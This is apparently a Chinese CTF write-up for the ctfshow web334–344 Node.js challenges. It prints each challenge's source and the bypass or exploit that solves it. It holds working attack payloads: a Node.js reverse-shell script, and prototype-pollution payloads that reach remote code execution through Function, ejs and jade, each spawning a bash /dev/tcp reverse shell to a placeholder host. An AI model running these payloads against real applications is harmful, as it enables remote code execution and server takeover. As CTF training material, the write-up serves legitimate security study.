web334 nodejs
代码审计题。 login.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 var express = require ('express' );var router = express.Router();var users = require ('../modules/user' ).items; var findUser = function (name, password ) { return users.find(function (item ) { return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; }); }; router.post('/' , function (req, res, next ) { res.type('html' ); var flag='flag_here' ; var sess = req.session; var user = findUser(req.body.username, req.body.password); if (user){ req.session.regenerate(function (err ) { if (err){ return res.json({ret_code : 2 , ret_msg : '登录失败' }); } req.session.loginUser = user.username; res.json({ret_code : 0 , ret_msg : '登录成功' ,ret_flag :flag}); }); }else { res.json({ret_code : 1 , ret_msg : '账号或密码错误' }); } }); module .exports = router;
user.js:
1 2 3 4 5 module .exports = { items: [ {username : 'CTFSHOW' , password : '123456' } ] };
观察函数 findUser
的逻辑可以发现构造 ctfshow/123456
,即可满足条件拿到 flag
。
web335-336 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > CTFFSHOW</title > </head > <body > where is flag? </body > </html >
测试可知 /?eval=
参数可作为 nodejs eval 函数的参数执行,而且还有回显。弹个 shell 先
1 2 3 4 5 6 7 8 9 10 11 12 (function ( ) { var net = require ("net" ), cp = require ("child_process" ), sh = cp.spawn("/bin/sh" , []); var client = new net.Socket(); client.connect(1211 , "xxxxx" , function ( ) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/ ; })();
web337 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require ('express' );var router = express.Router();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash('md5' ) .update(s) .digest('hex' ); } router.get('/' , function (req, res, next ) { res.type('html' ); var flag='xxxxxxx' ; var a = req.query.a; var b = req.query.b; if (a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }else { res.render('index' ,{ msg : 'tql' }); } }); module .exports = router;
居然可以数组绕过,感觉和 php 好像。。。 payload: /?a[]=1&b[]=1
web338 给源码喽! common.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 module .exports = { copy:copy }; function copy (object1, object2 ) { for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } }
login.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var express = require ('express' );var router = express.Router();var utils = require ('../utils/common' );router.post('/' , require ('body-parser' ).json(),function (req, res, next ) { res.type('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if (secert.ctfshow==='36dboy' ){ res.end(flag); }else { return res.json({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify(user)}); } }); module .exports = router;
utils.copy(user,req.body);
造成原型链污染,构造 payload:
1 2 3 POST http://c75be572-5063-473e-acbb-7367a33aba94.challenge.ctf.show/login JSON {"username":"aaaa","password":"aaaaa","__proto__":{"ctfshow":"36dboy"}}
web339 api.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var express = require ('express' );var router = express.Router();var utils = require ('../utils/common' );router.post('/' , require ('body-parser' ).json(),function (req, res, next ) { res.type('html' ); res.render('api' , { query : Function (query)(query)}); }); module .exports = router;
这里原型链污染覆盖 query 实现命令执行 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function
login.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 var express = require ('express' );var router = express.Router();var utils = require ('../utils/common' );function User ( ) { this .username='' ; this .password='' ; } function normalUser ( ) { this .user } router.post('/' , require ('body-parser' ).json(),function (req, res, next ) { res.type('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if (secert.ctfshow===flag){ res.end(flag); }else { return res.json({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify(user)}); } }); module .exports = router;
https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html : Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。
1 2 3 POST /login JSON {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"')"}}
/api 反弹 shell 后 flag 在 login.js
web340 和上题相比只改了被污染 obj:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var express = require ('express' );var router = express.Router();var utils = require ('../utils/common' );router.post('/' , require ('body-parser' ).json(),function (req, res, next ) { res.type('html' ); var flag='flag_here' ; var user = new function ( ) { this .userinfo = new function ( ) { this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } utils.copy(user.userinfo,req.body); if (user.userinfo.isAdmin){ res.end(flag); }else { return res.json({ret_code : 2 , ret_msg : '登录失败' }); } }); module .exports = router;
user.userinfo 需要多污染一层才能到 Object.prototype
1 {"__proto__" :{"__proto__" :{"query" :"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"')" }}}
web341 ejs 原型链污染 rce https://www.anquanke.com/post/id/236354 payload:
1 {"__proto__" :{"__proto__" :{"outputFunctionName" :"__tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"'); var __tmp2" }}}
web342-343 jade 原型链污染 rce https://www.anquanke.com/post/id/236354 payload:
1 {"__proto__" :{"__proto__" : {"type" :"Code" ,"compileDebug" :true ,"self" :true ,"line" :"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"');//" }}}
web344 1 2 3 4 5 6 7 8 9 10 11 12 13 router.get('/' , function (req, res, next ) { res.type('html' ); var flag = 'flag_here' ; if (req.url.match(/8c|2c|\,/ig )){ res.end('where is flag :)' ); } var query = JSON .parse(req.query.query); if (query.name==='admin' &&query.password==='ctfshow' &&query.isVIP===true ){ res.end(flag); }else { res.end('where is flag. :)' ); } });
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse JSON.parse 会将参数转为 string,["str1", "str2"].toString() === "str1,str2"
于是可以绕过 ,
(2c)。 payload: /?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs 部分到此结束。